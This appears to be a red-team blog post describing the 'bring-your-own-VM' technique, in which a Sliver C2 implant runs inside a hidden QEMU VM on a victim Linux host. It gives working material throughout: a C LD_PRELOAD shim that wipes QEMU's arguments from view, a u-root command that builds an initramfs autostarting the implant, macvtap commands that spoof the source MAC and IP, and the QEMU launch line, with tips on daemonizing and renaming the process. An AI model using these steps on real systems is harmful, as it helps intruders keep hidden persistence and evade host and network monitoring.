# tl;dr
Bring-your-own-VM is a relatively well-known and popular technique. However, when preparing it for a recent learning exercise I participated in organizing, I found some caveats which could be avoided by someone just dumping a list of commands for me to run and repos to clone to set it up. This is what I do here.
*I'm targeting Linux here, but this could be adapted to Windows as well.*
# why?
Most malware used in red team exercises is, essentially, a reverse proxy. That means that it is of little importance whether it is run on the host machine itself, or in a VM running on the host machine. Having a VM you control comes with several advantages:
- The networking configuration may allow for spoofing of source MAC and IP addresses, concealing the origin of C2 traffic from network analysis solutions
- Monitoring solutions may be more lenient to the QEMU process, especially if persisting on a machine where QEMU is already used
- Helps avoid static and memory signatures
# bringing your own QEMU (skip if installed)
I've lucked into finding a simple and reproducible way to build QEMU as a single semi-static binary. The dockerized build process is available here: https://github.com/snizovtsev/qemu-static-build/
To conceal the commandline arguments, a ld_preload shim could be used, like that one (simplified, may not work with `-daemonize`):
```c
#define _GNU_SOURCE /* needed to get RTLD_NEXT defined in dlfcn.h */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <dlfcn.h>
typedef int (*pfi)(int, char **, char **);
static pfi real_main;
/* copy argv to new location */
char **copyargs(int argc, char** argv){
char **newargv = malloc((argc+1)*sizeof(*argv));
char *from,*to;
int i,len;
for(i = 0; i<argc; i++){
from = argv[i];
len = strlen(from)+1;
to = malloc(len);
memcpy(to,from,len);
memset(from,'\0',len); /* zap old argv space */
newargv[i] = to;
argv[i] = 0;
}
newargv[argc] = 0;
return newargv;
}
static int mymain(int argc, char** argv, char** env) {
// fprintf(stderr, "main argc %d\n", argc);
return real_main(argc, copyargs(argc,argv), env);
}
int __libc_start_main(pfi main, int argc,
char **ubp_av, void (*init) (void),
void (*fini)(void),
void (*rtld_fini)(void), void (*stack_end)){
static int (*real___libc_start_main)() = NULL;
if (!real___libc_start_main) {
char *error;
real___libc_start_main = dlsym(RTLD_NEXT, "__libc_start_main");
if ((error = dlerror()) != NULL) {
fprintf(stderr, "%s\n", error);
exit(1);
}
}
real_main = main;
return real___libc_start_main(mymain, argc, ubp_av, init, fini,
rtld_fini, stack_end);
}
```
Note that the firmware should also be brought and placed somewhere the QEMU binary can find it.
# building the image
To build the image, a small init system is required, along with some utilities like a DHCP client. I've seen Alpine used for this, or some other minimal Linux distribution. However, I liked the [u-root](https://github.com/u-root/u-root) approach more. `u-root` allows one to build an image with a minimal Golang-only init and a suite of simple tools.
To build my image (with a Sliver implant as a test), I've used the following:
```bash
u-root -uinitcmd="/bin/sh -c 'insmod /bin/e1000.ko.xz && dhclient -retry 1 -ipv4 && /bin/slv'" \
-files ../../linux-wg.elf:/bin/slv \
-files /lib/modules/$(uname -r)/kernel/drivers/net/ethernet/intel/e1000/e1000.ko.xz:/bin/e1000.ko.xz \ ./cmds/core/{init,ip,insmod,dhclient,gosh}
```
This command packs a dhcpclient, interface configuration utility, a driver for the e1000 virtual NIC, and the implant into a single CPIO image. It is possible for the QEMU VM to reuse the same kernel as present on the victim host, but bundling a kernel is also an option.
There's a size limit for initramfs, but it can be compressed like so:
```bash
xz --check=crc32 -9 --lzma2=dict=1MiB \
--stdout /tmp/initramfs.linux_amd64.cpio \
| dd conv=sync bs=512 \
of=/tmp/initramfs.linux_amd64.cpio.xz
```
> **caveat:** patch the dhclient in u-root to disable IPv6 queries by default, since they hang and are not usually necessary.
# networking backends and running the VM
One of the advantages of a VM is the possibility to use a different MAC and source IP address. I've opted for `macvtap`, but there are numerous networking options available. `af_xdp` is a close second contender on account of not needing to create an interface, but being more complex to set up.
> **caveat:** getting a second source MAC address will not work with nested virtualization by default, since the outer VM solution will filter the packets with unknown MAC addresses out, unless promisc mode is explicitly allowed for the target host.
A `macvtap` interface named `spf0` can be created like so:
```bash
ip link add link <real if> name spf0 type macvtap mode bridge
ip link set spf0 up
```
Running the VM is then trivial:
```bash
./qemu-system-x86_64 -kernel /boot/vmlinuz-$(uname -r) -initrd ./initramfs.linux_amd64.cpio -net nic,model=virtio,macaddr=$(cat /sys/class/net/spf0/address) -net tap,fd=3 3<>/dev/tap$(cat /sys/class/net/spf0/ifindex) -nographic -append "console=ttyS0"
```
This command starts the VM with the console attached for debugging. When using the VM on a target host, the QEMU process could be daemonized with `-daemonize`, and even the process name could be changed with QEMU arguments.
> **caveat:** Unfortunately, the name will be only changed in `top`, but not `ps`, so QEMU needs patching still.
Since bringing all this to a target host requires copying a bunch of heavy files, I've used a self-unpacking archive (a shell script using `grep/base64` on itself).
# further steps
Since it is a legitimate VM, more control over the host could be granted, e.g. in the form of an SMB server on a separate SLIRP interface or sharing devices. I've not bothered, since I only needed a proxy, but it would be the natural extension of the technique.